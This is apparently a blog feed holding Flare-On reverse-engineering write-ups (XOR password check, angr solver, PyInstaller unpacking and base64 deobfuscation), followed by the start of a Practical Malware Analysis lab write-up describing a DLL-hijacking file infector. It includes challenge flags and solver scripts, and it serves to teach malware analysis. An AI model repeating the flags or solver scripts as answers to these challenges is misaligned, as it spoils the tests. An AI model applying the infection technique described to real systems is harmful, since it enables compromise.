 ───────────────────────────

+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (18) |
+----------------------------------+

.text
.data
Pj*h
Pj2hX!@
h.!@
kernel32.dll
LoadLibraryA
GetProcAddress
GetLastError
GetStdHandle
AttachConsole
WriteConsoleA
WriteFile
ReadFile
Let&apos;s start out easy
Enter the password&amp;gt;
You are success
You are failure

+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+
 ─────────────────────────
  FLOSS STACK STRINGS (0)
 ─────────────────────────
 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────
 ───────────────────────────
  FLOSS DECODED STRINGS (0)
 ───────────────────────────
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;These are the the &lt;code&gt;kernel32.dll&lt;/code&gt; APIs,&lt;/li&gt;
&lt;li&gt;It can be used for &lt;strong&gt;Dynamic API Resolution&lt;/strong&gt; + &lt;strong&gt;I/O Execution Flow&lt;/strong&gt;. (Just a hypothesis)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;LoadLibraryA
GetProcAddress
GetLastError
GetStdHandle
AttachConsole
WriteConsoleA
WriteFile
ReadFile
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Something related to password/licence checking,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Let&apos;s start out easy
Enter the password&amp;gt;
You are success
You are failure
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now, to confirm the imports i used &lt;code&gt;pestudio&lt;/code&gt; and indeed it is using those,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325051645.png&quot; alt=&quot;Pasted image 20260325051645.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;So, to analyze it opened it in IDA with manual load because sometimes auto load fails in these kind of binaries, and found that it has only one &lt;code&gt;start&lt;/code&gt; function is which is doing something,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325051811.png&quot; alt=&quot;Pasted image 20260325051811.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GetStdHandle()&lt;/code&gt; is called with:
- &lt;code&gt;STD_INPUT_HANDLE&lt;/code&gt; → stdin
- &lt;code&gt;STD_OUTPUT_HANDLE&lt;/code&gt; → stdout
&lt;ul&gt;
&lt;li&gt;Return values (in &lt;code&gt;EAX&lt;/code&gt;) are saved as handles for input/output.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I/O Operations
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;WriteFile()&lt;/code&gt; → prints prompt to console (stdout)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReadFile()&lt;/code&gt; → reads up to &lt;strong&gt;50 bytes&lt;/strong&gt; into &lt;code&gt;input_buffer&lt;/code&gt; (&lt;code&gt;0x402158&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;BOOL start()
{
  int v0; // ecx
  HANDLE StdHandle; // [esp+4h] [ebp-Ch]
  HANDLE hFile; // [esp+8h] [ebp-8h]
  DWORD NumberOfBytesWritten; // [esp+Ch] [ebp-4h] BYREF

  StdHandle = GetStdHandle(STD_INPUT_HANDLE);
  hFile = GetStdHandle(STD_OUTPUT_HANDLE);
  WriteFile(
    hFile,
    aLetSStartOutEa,                            // &quot;Let&apos;s start out easy\r\nEnter the password&amp;gt;&quot;
    0x2Au,
    &amp;amp;NumberOfBytesWritten,
    nullptr);
  ReadFile(StdHandle, lpBuffer, 0x32u, &amp;amp;NumberOfBytesWritten, nullptr);
  v0 = 0;
  while ( ((unsigned __int8)lpBuffer[v0] ^ 0x7D) == byte_402140[v0] )
  {
    if ( ++v0 &amp;gt;= 24 )
      return WriteFile(
               hFile,
               aYouAreSuccess,                  // &quot;You are success\r\n&quot;
               0x12u,
               &amp;amp;NumberOfBytesWritten,
               nullptr);
  }
  return WriteFile(
           hFile,
           aYouAreFailure,                      // &quot;You are failure\r\n&quot;
           0x12u,
           &amp;amp;NumberOfBytesWritten,
           nullptr);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Expected C code,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;for (i = 0; i &amp;lt; 24; i++) {
    if ((input[i] ^ 0x7D) != encoded[i]) {
        print(&quot;failure&quot;);
        return;
    }
}
print(&quot;success&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Here is the flow of code,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Print prompt&lt;/li&gt;
&lt;li&gt;Read input&lt;/li&gt;
&lt;li&gt;For each character:
&lt;ul&gt;
&lt;li&gt;XOR with &lt;code&gt;0x7D&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Compare with stored value&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If all 24 match → success&lt;/li&gt;
&lt;li&gt;Else → failure&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This are the sequence of bytes which are being XORed with key &lt;code&gt;0x7D&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;1F 8 13 13 4 22 0E 11 4D 0D 18 3D 1B 11 1C 0F 18 50 12 13 53 1E 12 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325052121.png&quot; alt=&quot;Pasted image 20260325052121.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Got the flag!!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325051301.png&quot; alt=&quot;Pasted image 20260325051301.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bunny_sl0pe@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;You can also apply this &lt;code&gt;IDApython&lt;/code&gt; script which will manually patch the bytes, (only for IDA pro).&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import idc

for i in range(0x00402140, 0x00402158):
    b = 0x7D ^ idc.get_wide_byte(i)
    idc.patch_byte(i, b)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325054501.png&quot; alt=&quot;Pasted image 20260325054501.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Challenge 2:&lt;/h1&gt;
&lt;h2&gt;Stage 1 Understanding the ASMx86 Compiled exe&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: PE32 executable for MS Windows 4.00 (console)&lt;/li&gt;
&lt;li&gt;Size: 2KB&lt;/li&gt;
&lt;li&gt;SHA256: 9852afb172bc03a50d291c70faa724c69a10af9e6ee88457185ce5e0705216f0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;By running &lt;code&gt;die&lt;/code&gt; on it, and it is written in &lt;strong&gt;assembly&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Also, it has missing DOS Header which means most of the automatic tools fail &lt;img src=&quot;images/Pasted_image_20260327194901.png&quot; alt=&quot;Pasted image 20260327194901.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I ran &lt;code&gt;floss&lt;/code&gt; for strings analysis and here is what i get,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ /opt/floss very_success
.
.
.
 ───────────────────────────
  FLOSS STATIC STRINGS (20)
 ───────────────────────────
+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (20) |
+----------------------------------+

.text
.data
PjCh
Pj2hY!@
hY!@
h5!@
hG!@
kernel32.dll
LoadLibraryA
GetProcAddress
GetLastError
GetStdHandle
AttachConsole
WriteConsoleA
WriteFile
ReadFile
You crushed that last one! Let&apos;s up the game.
Enter the password&amp;gt;
You are success
You are failure
+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+
 ─────────────────────────
  FLOSS STACK STRINGS (0)
 ─────────────────────────
 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────
 ───────────────────────────
  FLOSS DECODED STRINGS (0)
 ───────────────────────────
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It gives some &lt;code&gt;kernel32.dll&lt;/code&gt; API functions,&lt;/li&gt;
&lt;li&gt;Hypothesis: (console-based loader/tool using dynamic API resolution + file I/O operations).&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;LoadLibraryA
GetProcAddress
GetLastError
GetStdHandle
AttachConsole
WriteConsoleA
WriteFile
ReadFile
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Some string related to password things,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;You crushed that last one! Let&apos;s up the game.
Enter the password&amp;gt;
You are success
You are failure
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I opened it in IDA, and it has only &lt;code&gt;2 functions&lt;/code&gt; and &lt;code&gt;start function&lt;/code&gt;,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sub_401000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_401084&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260327235700.png&quot; alt=&quot;Pasted image 20260327235700.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Func1: &lt;code&gt;sub_401000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260327235824.png&quot; alt=&quot;Pasted image 20260327235824.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Func2: &lt;code&gt;sub_401084&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260328000037.png&quot; alt=&quot;Pasted image 20260328000037.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is flow of the whole program,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260327235926.png&quot; alt=&quot;Pasted image 20260327235926.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gets stdin/stdout handles via &lt;code&gt;GetStdHandle&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Prints a prompt to stdout.&lt;/li&gt;
&lt;li&gt;Reads up to 50 bytes from stdin into buffer &lt;code&gt;unk_402159&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Passes that buffer to the validator function.&lt;/li&gt;
&lt;li&gt;Prints success or failure message based on return value.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260328000108.png&quot; alt=&quot;Pasted image 20260328000108.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Buffer &lt;code&gt;unk_402159&lt;/code&gt; holds both your input AND the expected hash bytes&lt;/li&gt;
&lt;li&gt;Bytes 0–36 → your typed input&lt;/li&gt;
&lt;li&gt;Bytes 36+ → hardcoded expected values baked into &lt;code&gt;.data&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;So the correct key is exactly &lt;strong&gt;37 chars long&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Validator Logic (sub_401084)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Arguments,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a2&lt;/code&gt; → pointer to expected checksum array (read from &lt;code&gt;a2+36&lt;/code&gt; backwards)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a3&lt;/code&gt; → your input string&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a4&lt;/code&gt; → input length&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Step 1 — Length check:&lt;/strong&gt; input &amp;lt; 37 → return 0 (fail) immediately&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Step 2 — 37-round rolling hash:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;XOR each char with &lt;code&gt;0xC7&lt;/code&gt; (low byte of 455)&lt;/li&gt;
&lt;li&gt;Rotate &lt;code&gt;1&lt;/code&gt; left by &lt;code&gt;(v4 &amp;amp; 3)&lt;/code&gt; bits, add x86 carry flag + XOR result&lt;/li&gt;
&lt;li&gt;Accumulate result into &lt;code&gt;v4&lt;/code&gt; → affects next round&apos;s rotation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Step 3 — Compare:&lt;/strong&gt; computed byte must match &lt;code&gt;expected[i]&lt;/code&gt;, mismatch sets &lt;code&gt;v5=0&lt;/code&gt; and breaks early&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Returns&lt;/strong&gt; non-zero if all 37 match, &lt;code&gt;0&lt;/code&gt; otherwise&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Flag Calculation using angr framework&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Now this is where it gets interesting. &lt;strong&gt;We know the binary takes input, runs it through a 37-round rolling hash, and compares the result against hardcoded expected bytes&lt;/strong&gt;. &quot;Reversing that hash manually is painful because each round depends on the previous one (stateful accumulator + x86 carry flag)&quot;.&lt;/li&gt;
&lt;li&gt;So instead of reversing it by hand, we let a tool do the heavy lifting.&lt;/li&gt;
&lt;li&gt;We use &lt;code&gt;angr&lt;/code&gt;, a binary analysis framework that converts execution into a math problem using &lt;strong&gt;symbolic execution&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Instead of running the binary with a real input, angr runs it with symbolic unknowns (think algebra variables), tracks every constraint the binary puts on those unknowns, and hands the whole thing to a solver (Z3) which figures out the exact values that satisfy all constraints.&lt;/li&gt;
&lt;li&gt;In short, angr runs the binary with unknown input, explores all possible execution paths simultaneously, and finds the one input that reaches the success branch.&lt;/li&gt;
&lt;li&gt;More on &lt;a href=&quot;https://angr.io/&quot;&gt;angr&lt;/a&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;pip install angr claripy
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import angr
import claripy

proj = angr.Project(&apos;very_success.exe&apos;, auto_load_libs=False)

flag = [claripy.BVS(f&apos;c{i}&apos;, 8) for i in range(37)]
state = proj.factory.full_init_state(stdin=claripy.Concat(*flag, claripy.BVV(b&apos;\n&apos;)))

for c in flag:
    state.solver.add(c &amp;gt;= 0x20, c &amp;lt;= 0x7e)

simgr = proj.factory.simulation_manager(state)
simgr.use_technique(angr.exploration_techniques.Veritesting())
simgr.explore(find=0x0040106B, avoid=0x00401072)

if simgr.found:
    s = simgr.found[0]
    print(b&apos;&apos;.join(s.solver.eval(c, cast_to=bytes) for c in flag))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260328002438.png&quot; alt=&quot;Pasted image 20260328002438.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;a_Little_b1t_harder_plez@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Challenge 3:&lt;/h1&gt;
&lt;h2&gt;Stage 1 - Analyzing the PyInstaller Compiled EXE&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: PE32 executable for MS Windows 5.00 (console), Intel i386&lt;/li&gt;
&lt;li&gt;Size: 11.6MB&lt;/li&gt;
&lt;li&gt;SHA256: 6b82463eaa13aba88aab9050f08bcc7658067f4dc4d6ca04f49bbda2201cc70b&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;p&gt;Running the sample through &lt;strong&gt;Detect It Easy (DIE)&lt;/strong&gt; immediately tells us something interesting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;32-bit Windows executable (~11.6 MB)&lt;/li&gt;
&lt;li&gt;Built with Visual C++ 2008 — but wait, it&apos;s actually a &lt;strong&gt;Python program packed with PyInstaller&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;DIE flags it as &lt;strong&gt;packed/compressed&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;There&apos;s a &lt;strong&gt;large overlay&lt;/strong&gt; at the end of the file containing &lt;strong&gt;zlib-compressed data&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329143144.png&quot; alt=&quot;Pasted image 20260329143144.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Yep, it&apos;s packed alright.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329143427.png&quot; alt=&quot;Pasted image 20260329143427.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is classic &lt;strong&gt;PyInstaller&lt;/strong&gt; behaviour. When you bundle a Python script with PyInstaller, it doesn&apos;t compile it like C/C++ — instead it does something sneakier:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Bundles everything together&lt;/strong&gt; — your Python script, the Python interpreter, and all required libraries&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packs it into one EXE&lt;/strong&gt; — the front part is a small C loader, and the actual Python code + libs are stuffed at the end&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stores everything in an overlay&lt;/strong&gt; — this data is appended after the PE structure, often &lt;strong&gt;zlib-compressed&lt;/strong&gt;, which is exactly why DIE throws up the &quot;strange overlay&quot; warning&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At runtime&lt;/strong&gt;, the loader quietly extracts the embedded data and runs the Python code from memory or a temp folder&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the strategy here is straightforward - we need to unpack it and get to the actual Python code. We can extract the &lt;code&gt;.pyc&lt;/code&gt; (compiled bytecode) files using &lt;strong&gt;pyinstxtractor&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://sourceforge.net/projects/pyinstallerextractor/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~]
└─$ python pyinstxtractor.py elfie

[*] Processing elfie
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 12034944 bytes
[*] Found 26 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python27 to prevent extraction errors(if any) during unmarshalling
[*] Found 244 files in PYZ archive
[+] Possible entry point: _pyi_bootstrap
[+] Possible entry point: pyi_carchive
[+] Possible entry point: elfie
[*] Successfully extracted pyinstaller archive: elfie

You can now use a python decompiler on the pyc files within the extracted directory
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ ls
elfie  elfie_extracted  pyinstxtractor.py

┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/elfie_extracted]
└─$ ls
bz2.pyd                      msvcp90.dll              pyi_carchive          python27.dll            _ssl.pyd
elfie                        msvcr90.dll              pyi_importers         QtCore4.dll             struct
elfie.exe.manifest           out00-PYZ.pyz            pyi_os_path           QtGui4.dll              unicodedata.pyd
_hashlib.pyd                 out00-PYZ.pyz_extracted  pyside-python2.7.dll  select.pyd
Microsoft.VC90.CRT.manifest  pyi_archive              PySide.QtCore.pyd     shiboken-python2.7.dll
msvcm90.dll                  _pyi_bootstrap           PySide.QtGui.pyd      _socket.pyd

┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/elfie_extracted]
└─$ file elfie
elfie: ASCII text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;elfie&lt;/code&gt; file sitting in the extraction directory is our next target — it&apos;s a large blob of obfuscated Python code. Time to dig deeper.&lt;/p&gt;
&lt;h2&gt;Stage 2 - Analyzing of Python Blob&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type:  Python script, ASCII text executable, with very long lines (65463)&lt;/li&gt;
&lt;li&gt;Size: 1348KB&lt;/li&gt;
&lt;li&gt;SHA256: 922cc911074008ad494967b41fa48db712293e2572af53e8a5e823ff64c39761&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329145418.png&quot; alt=&quot;Pasted image 20260329145418.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opening it up, we&apos;re greeted with this beautiful disaster:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;O0OO0OO00000OOOO0OOOOO0O00O0O0O0 = &apos;IRGppV0FJM3BRRlNwWGhNNG&apos;
OO0O0O00OO00OOOOOO0O0O0OOO0OOO0O = &apos;UczRkNZZ0JVRHJjbnRJUWlJV3FRTkpo&apos;
OOO0000O0OO0OOOOO000O00O0OO0O00O = &apos;xTStNRDJqZG9nRCtSU1V&apos;
OOO0000O0OO0OOOOO000O00O0OO0O00O += &apos;Rbk51WXI4dmRaOXlwV3NvME0ySGp&apos;
...
O00OO00OOO0OOOO0OOOO0OO00000OOO0 += &apos;RabTBrZE&apos;
O00OO00OOO0OOOO0OOOO0OO00000OOO0 += &apos;VXWFY3QUtiTXFXQVYrenh4amxJZXI1MXd1YWJiWkRaWDRQV0&apos;
O00OO00OOO0OOOO0OOOO0OO00000OOO0 += &apos;xDUmhGcnRDcnd4VkF5&apos;
O00OO00OOO0OOOO0OOOO0OO00000OOO0 += &apos;aTBTMXd3OC8yY0ZqdzBIU0JMT0tEcktGckJUTkpvRGw2d&apos;
O00OO00OOO0OOOO0OOOO0OO00000OOO0 += &apos;nNocTB&apos;
import base64
exec(base64.b64decode(OOO0OOOOOOOO0000O000O00O0OOOO00O +
...
OOO0000O0OO0OOOOO000O00O0OO0O00O + OOO0O00O00OOOOOOO00OOOO0000O0O00 + O0O00OO00O0O00O0O00O0OOO00O0O0OO + O00OOOOO000O00O0O00000OOO0000OOO + O0O0OOO000O000OO0O0O0OOOOO0OO000))
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Classic obfuscation, variable names that are just random sequences of &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;O&lt;/code&gt; to make it visually impossible to read.&lt;/li&gt;
&lt;li&gt;The trick here is simple though: instead of letting &lt;code&gt;exec()&lt;/code&gt; run the decoded payload blindly, we just swap it out for &lt;code&gt;print()&lt;/code&gt; and let it tell us what it was about to execute.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329151056.png&quot; alt=&quot;Pasted image 20260329151056.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Still pretty messy. After cleaning it up a bit, renaming some variables and fixing the formatting, it starts to look more sensible:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329151217.png&quot; alt=&quot;Pasted image 20260329151217.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are &lt;strong&gt;two large base64 blobs&lt;/strong&gt; in there.&lt;/li&gt;
&lt;li&gt;I decode both of them, and notice they&apos;re also &lt;strong&gt;reversed&lt;/strong&gt;, so I reverse them before decoding. Let&apos;s see what&apos;s inside.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Blob 1:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329151404.png&quot; alt=&quot;Pasted image 20260329151404.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329151413.png&quot; alt=&quot;Pasted image 20260329151413.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A glorious meme. 😂 Classic CTF energy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blob 2:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329151459.png&quot; alt=&quot;Pasted image 20260329151459.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329151506.png&quot; alt=&quot;Pasted image 20260329151506.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Another image. 😗&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And then, hiding right there in plain sight the flag, in plaintext, reversed:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260329150814.png&quot; alt=&quot;Pasted image 20260329150814.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Flip it around and we&apos;re done:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Elfie.L0000ves.YOOOO@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>PMA - Lab Write-up 2026</title><link>https://fuwari.vercel.app/posts/practical-malware-analysis-labs/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/practical-malware-analysis-labs/notes/</guid><description>Writeup of PMA Labs.</description><pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Category: Malware Analysis and Reverse Engineering&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty: Easy/Medium/Hard&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;File:- &lt;a href=&quot;/uploads/PMT_Labs/PracticalMalwareAnalysis-Labs.tar.gz&quot;&gt;PracticalMalwareAnalysis-Labs.tar.gz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Basic Static Techniques&lt;/h1&gt;
&lt;h2&gt;Lab 1-1&lt;/h2&gt;
&lt;h3&gt;1. Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures?&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ sha256sum Lab01-01.exe
58898bd42c5bd3bf9b1389f0eee5b39cd59180e8370eb9ea838a0b327bd6fe47  Lab01-01.exe

┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ sha256sum Lab01-01.dll
f50e42c8dfaab649bde0398867e930b86c2a599e8db83b8260393082268f2dba  Lab01-01.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Lab01-01.exe&lt;/li&gt;
&lt;li&gt;Code insights:
&lt;ul&gt;
&lt;li&gt;The sample is a file infector and system hijacker that employs DLL search order hijacking through &lt;code&gt;typosquatting&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It copies a malicious payload &lt;code&gt;Lab01-01.dll&lt;/code&gt; to &lt;code&gt;&apos;%WINDIR%\System32\kerne132.dll&apos;&lt;/code&gt; (mimicking the legitimate &lt;code&gt;kernel32.dll&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The malware then recursively scans the &lt;code&gt;C:&lt;/code&gt; drive for executable files (.exe) and modifies their PE headers, specifically &lt;strong&gt;patching the Import Address Table (IAT)&lt;/strong&gt; to replace references to &apos;&lt;code&gt;kernel32.dll&lt;/code&gt;&apos; with the malicious &lt;code&gt;kerne132.dll&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This ensures the malicious library is loaded whenever infected applications are executed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202125936.png&quot; alt=&quot;Pasted image 20260202125936.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lab01-01.dll (&lt;code&gt;kerne132.dll&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202125958.png&quot; alt=&quot;Pasted image 20260202125958.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. When were these files compiled?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;We can see these info inside the details tab of VT,&lt;/li&gt;
&lt;li&gt;Lab-01-01.exe&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Creation Time: 2010-12-19 16:16:19 UTC 
